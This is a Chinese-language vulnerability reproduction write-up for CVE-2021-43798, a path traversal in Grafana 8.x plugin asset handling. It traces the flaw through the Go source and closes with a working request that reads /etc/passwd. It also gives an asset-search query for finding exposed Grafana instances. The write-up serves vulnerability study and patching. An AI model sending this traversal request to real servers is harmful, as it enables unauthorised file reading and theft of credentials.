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72 lines
1.4 KiB
Markdown
72 lines
1.4 KiB
Markdown
# Grafana plugins 任意文件读取漏洞 CVE-2021-43798
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## 漏洞描述
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Grafana存在任意文件读取漏洞，通过默认存在的插件，可构造特殊的请求包读取服务器任意文件
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## 漏洞影响
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```
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Grafana 8.x
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```
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## 网络测绘
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```
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app="Grafana_Labs-公司产品"
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```
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## 漏洞复现
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登录页面
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下载源码进行本地分析
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```
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https://codeload.github.com/grafana/grafana/zip/refs/tags/v8.3.0
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```
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根据漏洞找到 api.go 中的请求路径
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```
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r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)
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```
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跟踪对应的 getPluginAssets 方法
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从请求路径中获取 `/public/plugins/` 后的参数赋值给 `pluginID,` 然后再被拼接至 `pluginFilePath` 进入文件读取片段
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```
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requestedFile := filepath.Clean(web.Params(c.Req)["*"])
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pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)
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```
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也就是说通过默认存在的插件来拼接文件路径构造请求进行文件读取
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```
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plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
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if !exists {
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c.JsonApiErr(404, "Plugin not found", nil)
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return
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}
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```
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插件路径 `public/app/plugins/panel`
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构造请求
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```
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/public/plugins/welcome/../../../../../../../../../etc/passwd
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```
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